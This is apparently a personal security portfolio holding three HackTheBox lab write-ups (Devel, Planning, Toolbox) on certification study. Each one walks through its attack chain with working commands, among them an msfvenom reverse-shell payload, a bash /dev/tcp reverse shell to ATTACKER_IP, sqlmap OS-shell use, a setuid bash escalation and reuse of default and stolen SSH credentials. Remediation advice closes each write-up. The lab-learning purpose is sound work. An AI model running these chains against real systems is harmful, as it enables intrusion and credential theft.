πŸ”Ά Status: studying for CPTS & OSCP β€” publishing at a slower cadence. Thanks for your patience.πŸ”Ά

Welcome β€” This Portfolio is Active

I’m actively building skills and documenting lab findings. Updates may be infrequent while I prep for CPTS and OSCP, but the content here reflects my current approach and methodology. Check the writeups below or see my background.

Selected Security Lab Writeups

Click a card to read the report in a modal β€” no navigation, no external fetches.

Devel β€” Anonymous FTP β†’ SYSTEM

Anonymous FTP β†’ ASPX webshell β†’ Meterpreter β†’ local exploit β†’ SYSTEM

Planning β€” Grafana RCE β†’ Root

Grafana SQL-expression RCE β†’ container foothold β†’ cron escalation to root

Toolbox β€” SQLi β†’ Administrator

Postgres SQLi β†’ OS shell β†’ Docker pivot β†’ Administrator private key

Devel β€” Anonymous FTP β†’ ASPX webshell β†’ Meterpreter β†’ Local exploit β†’ SYSTEM (Lab)

Date: 2025-10-19


TL;DR

Anonymous FTP allowed uploading an ASPX webshell. I uploaded a Meterpreter ASPX payload and triggered it via HTTP to get a Meterpreter session. After enumerating the host and running a local exploit suggester, I used a 32-bit local exploit to escalate to NT AUTHORITY\SYSTEM. All testing was performed on a retired HackTheBox lab VM in an isolated environment. PoC artifacts in this writeup are sanitized.


Scope & permission

This work was performed on a retired HackTheBox machine in a lab I control. All commands and artifacts in this document are sanitized for public release. Do not run exploit code against third-party or production systems.


Environment (sanitized)

  • Target: TARGET_IP (devel)
  • Discovered services:
    • FTP β€” anonymous allowed (Microsoft ftpd)
    • HTTP β€” Microsoft IIS 7.5 (IIS7)
  • OS: Windows (32-bit / x86) β€” determined from Meterpreter sysinfo.

Tools used

nmap, ftp (or any FTP client), msfvenom (payload generation), msfconsole (multi/handler & local exploit), a web browser / curl to trigger the uploaded webshell, netstat/ss, Meterpreter post modules (local_exploit_suggester), and common shell utilities.

All steps were performed in an isolated lab.

Chain summary (short)

  1. Port scan β†’ anonymous FTP discovered.
  2. Upload ASPX payload (Meterpreter) via anonymous FTP.
  3. Trigger the ASPX payload through IIS to get a Meterpreter session.
  4. Use Meterpreter to enumerate and confirm x86 (32-bit) target.
  5. Run post/multi/recon/local_exploit_suggester to find suitable local exploits.
  6. Launch a 32-bit local exploit (lab-only) to spawn a SYSTEM session.

Detailed, reproducible (sanitized) steps

1) Initial scan

nmap -sCV -T4 --open -oA recon --stats-every 5s TARGET_IP

Observed (sanitized):

  • FTP (21) β€” Microsoft ftpd β€” anonymous FTP login allowed
  • HTTP (80) β€” Microsoft-IIS/7.5 (IIS7)

2) Confirm anonymous FTP and list files

ftp TARGET_IP
username: anonymous
password: (blank)
ls

Noted aspnet_client/ (empty), iisstart.htm, and welcome.png. Nothing immediately interesting in the pages, but anonymous write/upload was possible.

3) Generate an ASPX Meterpreter payload (lab-only)

msfvenom -p windows/meterpreter/reverse_tcp LHOST=ATTACKER_IP LPORT=LPORT -f aspx > devel.aspx

Note: On restricted networks, ports <1024 may require privileges β€” choose a port you can receive on.

4) Upload the ASPX to the webroot via anonymous FTP

ftp TARGET_IP
login as anonymous
put devel.aspx
# confirm file is present (e.g., in IIS webroot)

If the FTP root maps to the IIS webroot, the uploaded devel.aspx becomes web-accessible (for example: http://TARGET_IP/devel.aspx).

5) Set up a handler and trigger the webshell

# in msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST ATTACKER_IP
set LPORT LPORT
set ExitOnSession false
exploit -j

Trigger the webshell by browsing to the uploaded ASPX (or curl http://TARGET_IP/devel.aspx) β€” this should call back to your handler and create a Meterpreter session.

6) Interact with the Meterpreter session

# in msfconsole
sessions -i <id>
# at meterpreter prompt
sysinfo   # confirm OS and architecture (Observed x86)
pwd       # observed C:\Windows\system32\inetsrv

From this session, sysinfo reported 32-bit (x86) and the current working directory was C:\Windows\System32\inetsrv. Ensure local exploit choices match the discovered architecture.

7) Upload / move to writable folders (if needed)

The web context often allows writing to C:\Windows\Temp or other temp locations. Use such a path to stage additional binaries or exploits as required.

8) Enumerate and suggest local exploits

run post/multi/recon/local_exploit_suggester

This returns a prioritized list of local exploits that may work on the target given OS/patch level/architecture.

9) Launch a 32-bit local exploit (lab-only)

# in msfconsole
use exploit/windows/local/ms10_015_kitrap0d
set SESSION <meterpreter-session-id>
set LHOST ATTACKER_IP
set LPORT LPORT
set PAYLOAD windows/meterpreter/reverse_tcp
exploit -j

The exploit succeeded and a new background session with SYSTEM privileges was created.

Important: choose a local exploit appropriate to the discovered OS, arch, and patch level.

10) Verify SYSTEM and capture flags

# switch to the new session
sessions -i <new-session-id>
getuid  # shows NT AUTHORITY\SYSTEM
# retrieve flags
cd C:\Users\<user>\Desktop
type user.txt
cd C:\Users\Administrator\Desktop
type root.txt

Impact

Full host compromise: anonymous FTP + writable webroot allowed remote payload upload β†’ web-executable payload β†’ remote shell β†’ local exploit β†’ SYSTEM.

On real systems this chain would allow attackers to exfiltrate sensitive data, create persistence, and move laterally.


Remediation (prioritized)

  1. Disable anonymous FTP or restrict it to an isolated, non-webroot directory.
  2. Harden IIS/FTP mapping: deny execute permission on upload directories; store uploads outside the web-executable tree.
  3. Patch Windows and apply vendor fixes.
  4. Least privilege & segmentation.
  5. Monitoring & alerting.
  6. File integrity & upload validation.

Appendix / Notes

  • All artifacts and commands in this document are sanitized for public release and were executed in an isolated, controlled lab environment.
  • This writeup documents a common yet preventable attack chain; it is presented for defensive awareness and remediation guidance only.

Planning β€” Grafana RCE β†’ Container Foothold β†’ Root via Cron (Lab)

Date: 2025-10-16


TL;DR

Discovered a Grafana virtual host (grafana.planning.htb) via host-header fuzzing. Using lab-provided Grafana credentials and an in-lab Grafana SQL-expression RCE PoC, I obtained a shell inside the Grafana container, recovered internal credentials and a cron/backup password, used those credentials to reach an internal admin UI on 127.0.0.1:8000 (via SSH port-forward), and escalated to root by abusing a cron job that executed web-writable content. All actions were performed on a retired HackTheBox VM in an isolated lab. PoC artifacts are sanitized.


Scope & permission

This work was performed on a retired HackTheBox machine in a lab I control. All commands and artifacts in this document are sanitized for public release. Do not run exploit code against third-party or production systems.


Environment & notable findings

  • Target: TARGET_IP (planning.htb) β€” lab IP used during testing
  • Services discovered (sanitized):
    • SSH β€” OpenSSH 9.6p1 (port 22)
    • HTTP β€” nginx 1.24.0 (port 80)
    • Grafana web UI at grafana.planning.htb (Grafana v11.0.0)
    • Internal services bound to 127.0.0.1 inside the host/container: 8000, 3000, 3306, etc.
  • Container evidence: environment HOSTNAME appeared to be a container ID

Tools used

nmap, ffuf, web browser, nc (listener), and standard SSH/shell utilities. The Grafana SQL-expression RCE PoC was executed in-lab and is not published here; all exploit steps were performed in an isolated testing environment.


Chain summary (short)

  1. nmap β†’ discovered HTTP (nginx) and host planning.htb.
  2. Host-header fuzzing with ffuf β†’ discovered grafana.planning.htb.
  3. Add /etc/hosts entry β†’ open the Grafana web UI.
  4. Login to Grafana (lab credentials) β†’ identified Grafana v11.0.0.
  5. Execute in-lab Grafana SQL-expression RCE PoC β†’ interactive shell inside the Grafana container.
  6. env revealed GF_SECURITY_ADMIN_USER and GF_SECURITY_ADMIN_PASSWORD.
  7. SSH to host as recovered user (enzo) β†’ captured user.txt.
  8. netstat/ss β†’ internal services on 127.0.0.1:8000 (admin UI).
  9. SSH local port-forward (ssh -L 8000:127.0.0.1:8000 enzo@TARGET) β†’ access internal admin UI locally.
  10. Found crontab.db β†’ backup job with an @daily schedule and a backup password.
  11. Authenticate to internal UI with backup/root credential β†’ obtain admin access.
  12. Abuse cron/web-writable input (lab) β†’ chmod u+s /bin/bash β†’ bash -p β†’ root and root.txt.

Detailed, reproducible (sanitized) steps

1) Port scan

nmap -sCV -T4 --open --stats-every 5s -oA recon TARGET_IP

Observed: open ports 22 (SSH) and 80 (HTTP). The HTTP response indicated planning.htb as the host.

2) Add initial host mapping (resolve planning.htb locally)

echo "TARGET_IP planning.htb" | sudo tee -a /etc/hosts

This allows opening http://planning.htb from your browser.

3) Virtual-host discovery β€” found grafana.planning.htb

Host-header fuzzing with ffuf, filtering noise and identical responses; the run produced grafana.planning.htb:

ffuf -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt \
     -H 'Host: FUZZ.planning.htb' \
     -u http://planning.htb -c -fs 178

Then add it to /etc/hosts:

echo "TARGET_IP grafana.planning.htb" | sudo tee -a /etc/hosts

Now http://grafana.planning.htb is reachable.

4) Access Grafana & identify version

Opened http://grafana.planning.htb and observed the login page. Version reported: Grafana v11.0.0.

5) Login with provided/lab credentials

  • Username: admin
  • Password: <GRAFANA_ADMIN_PASS> (redacted)

6) Researched vulnerability (high level)

From the version, I located an in-lab PoC for a Grafana SQL-expression RCE. I executed the PoC in-lab while a local listener awaited the reverse shell.

7) Obtained shell in Grafana container

The PoC produced an interactive shell inside the Grafana container. Within that shell:

  • pwd β†’ /usr/share/grafana
  • env β†’ HOSTNAME=7ce659d667d7, GF_SECURITY_ADMIN_USER=enzo, GF_SECURITY_ADMIN_PASSWORD=<REDACTED>

8) Test SSH access with recovered credentials

ssh enzo@TARGET_IP
# password: <REDACTED_GRAFANA_ENV_PASS>

Authentication succeeded; retrieved user.txt.

9) Enumerated local services

netstat -tulnp

Sanitized/listening summary:

  • 127.0.0.1:8000 β€” LISTEN
  • 127.0.0.1:3000 β€” LISTEN
  • 127.0.0.1:3306 β€” LISTEN
  • 127.0.0.1:40193 β€” LISTEN
  • 127.0.0.1:33060 β€” LISTEN
  • 0.0.0.0:80 β€” LISTEN
  • :::22 β€” LISTEN

The notable internal-only web service was on 127.0.0.1:8000.

10) Port-forward to access internal admin

ssh -L 8000:127.0.0.1:8000 enzo@TARGET_IP
# then open http://127.0.0.1:8000 locally

The internal UI was reachable locally. Obvious credentials initially failed.

11) Found cron/backup configuration (crontab.db)

  • Backup job β€œGrafana backup”
  • Schedule: @daily
  • Password used by backup process: <BACKUP_PASSWORD_REDACTED>
  • Cleanup script invoked from root directory

This indicated the backup/cron job ran with root privileges and relied on a password recoverable from configuration.

12) Use backup/root credentials to access internal admin

Using the backup credential, authenticated to the internal admin UI and obtained administrative access.

13) Achieve full root via setuid / cron technique (lab-only)

# setuid on /bin/bash (lab environment only)
chmod u+s /bin/bash
ls -l /bin/bash  # -rwsr-xr-x root root /bin/bash
bash -p          # effective root

Accessed /root/root.txt to confirm root.

Important: setting the setuid bit on system binaries is destructive/dangerous and must never be done on production systems.

Impact

Full host compromise: a vulnerable admin interface allowed remote code execution inside the Grafana container, which exposed internal configuration and credentials. Those credentials enabled access to an internal administration UI and ultimately allowed abuse of a cron-driven backup/cleanup job to execute web-writable content as root. On real systems a similar chain would permit attackers to exfiltrate sensitive data, install persistent backdoors, and move laterally across the network, representing a severe risk to confidentiality, integrity, and availability.


Remediation (prioritized)

  1. Patch Grafana promptly.
  2. Avoid embedding secrets in dashboards/env; restrict access.
  3. Harden cron/backup: root-owned, not web-writable; strict permissions.
  4. Limit container privileges; avoid sensitive mounts.
  5. Log & alert on cron/setuid changes and suspicious admin access.
  6. Network segmentation for internal admin UIs.

Appendix / Notes

  • All artifacts and commands are sanitized and were executed in an isolated lab environment.
  • Presented for defensive awareness and remediation guidance only.

Toolbox β€” SQLi β†’ OS Shell (Postgres) β†’ Container Pivot β†’ Host SSH β†’ Administrator Key β†’ Administrator (Lab)

Date: 2025-10-19


TL;DR

Anonymous FTP revealed a docker-toolbox.exe artifact and the site admin.megalogistic.com. I captured the admin login request, used sqlmap to exploit a PostgreSQL SQL injection and obtain an OS shell, gained a shell on the container, discovered the user flag under the Postgres directories, pivoted to the host via docker:tcuser SSH creds (container gateway), recovered Administrator’s private SSH key from C:\Users\Administrator\.ssh\id_rsa, and used that key to SSH in as Administrator. All testing was performed on a retired HTB VM in an isolated lab; artifacts are sanitized.


Scope & permission

This assessment was performed on a retired HackTheBox machine in a lab I control. All commands, artifacts and outputs in this public writeup are sanitized. Do not run exploit code or use recovered keys against third-party or production systems.


Environment & notable findings

  • Target: TARGET_IP (certificate CN: admin.megalogistic.com)
  • Services discovered:
    • FTP (21) β€” FileZilla ftpd β€” anonymous FTP allowed (file docker-toolbox.exe present)
    • HTTPS (443) β€” Apache/2.4.38 (Debian) β€” site admin.megalogistic.com
    • Windows services (SSH for Windows, SMB/RPC ports, WinRM-ish ports)
  • Container evidence: FTP artifact (docker-toolbox.exe) and container IPs observed from shells.

Tools used

nmap, ftp / FTP client, browser + Burp (to capture login POST), sqlmap, nc (netcat), basic shell utils (python3 -c, pty), ssh. (Private keys and unredacted logs are kept offline.)


Short chain summary

  1. nmap β†’ anonymous FTP with docker-toolbox.exe.
  2. Map host to admin.megalogistic.com β†’ capture login POST.
  3. sqlmap β†’ confirm PostgreSQL SQLi; enumerate public.users, found hashed admin password.
  4. sqlmap --os-shell β†’ spawn OS shell; reverse shell to attacker.
  5. Interactive PTY; find user flag under Postgres directories.
  6. Container networking observed (CONTAINER_IP ~ 172.17.0.2, host at 172.17.0.1).
  7. SSH to host as docker using known docker-toolbox creds (docker:tcuser).
  8. Found C:\Users\Administrator\.ssh\id_rsa; copied key to attacker.
  9. ssh -i id_rsa administrator@TARGET_IP β†’ Administrator access; retrieved root.txt.

Detailed steps (sanitized, reproducible)

1) Port scan

nmap -p- -sCV -T4 --open -oA recon --stats-every 5s TARGET_IP

Scan revealed FTP (anonymous allowed), HTTPS (Apache), and Windows ports β€” an indicator of mixed/virtualized environment.

2) Anonymous FTP & artifact discovery

ftp TARGET_IP
# login: anonymous
# password: (blank)
ls -la

Found: docker-toolbox.exe in the FTP root β€” a hint at Docker/tooling presence and a pivot opportunity.

3) Map hostname for browsing & capture login

echo "TARGET_IP admin.megalogistic.com" | sudo tee -a /etc/hosts
# Use browser+Burp to capture the admin login POST and save as login.req

4) SQLi discovery & enum with sqlmap

sqlmap -r login.req --batch --dbs -o

# Enumerate & dump
sqlmap -r login.req -D public --tables --batch
sqlmap -r login.req -D public -T users --dump --batch

Result: users table had one row: username = admin, password = <hashed>.

5) sqlmap OS shell β†’ reverse shell (lab-only)

# On attacker:
nc -lvnp LPORT

# From sqlmap's OS shell:
bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/LPORT 0>&1'

# After connection:
python3 -c 'import pty; pty.spawn("/bin/bash")'

Result: interactive shell on the database/container host.

6) Locate user flag & observe container network

cd /var/lib/postgresql
ls -la
cat user.txt

ifconfig || ip a
# saw container IP (e.g., 172.17.0.2) and gateway 172.17.0.1

7) Pivot to host via known docker-toolbox creds

ssh docker@172.17.0.1
# password: tcuser

Provided SSH access to the host VM as docker. Inspect Windows user folders:

ls /c/Users
ls /c/Users/Administrator/.ssh
# found id_rsa

8) Retrieve Administrator private key & use it (lab-only)

# Copy id_rsa securely to attacker
chmod 600 id_rsa
ssh -i id_rsa administrator@TARGET_IP

Authenticated as Administrator; retrieved root.txt from C:\Users\Administrator\Desktop.


Impact

Full host compromise: SQLi β†’ OS command execution on DB/container β†’ pivot to host β†’ discovery and reuse of Administrator private key β†’ Administrator remote access.


Remediation (prioritized)

  1. Fix SQL injection: parameterized queries / prepared statements; disable stacked queries.
  2. Disable anonymous FTP or restrict it; remove sensitive artifacts like docker-toolbox.exe.
  3. Key management: avoid storing keys in user dirs; rotate compromised keys.
  4. Segregate containers from host management; enforce network segmentation.
  5. Harden SSH & key permissions; log/alert on new SSH keys or Administrator key usage.
  6. Monitor uploads & DB anomalies; alert on unexpected file writes or SQL error patterns.

Appendix / Notes

  • All artifacts and commands are sanitized and were executed in an isolated lab environment.
  • This writeup is intended for defensive awareness and remediation guidance only.

β€œIn the silence of the terminal, I hunt for flaws not to destroy, but to understand β€” for in every exploit lies the echo of mastery, and in every failure, the code of persistence.”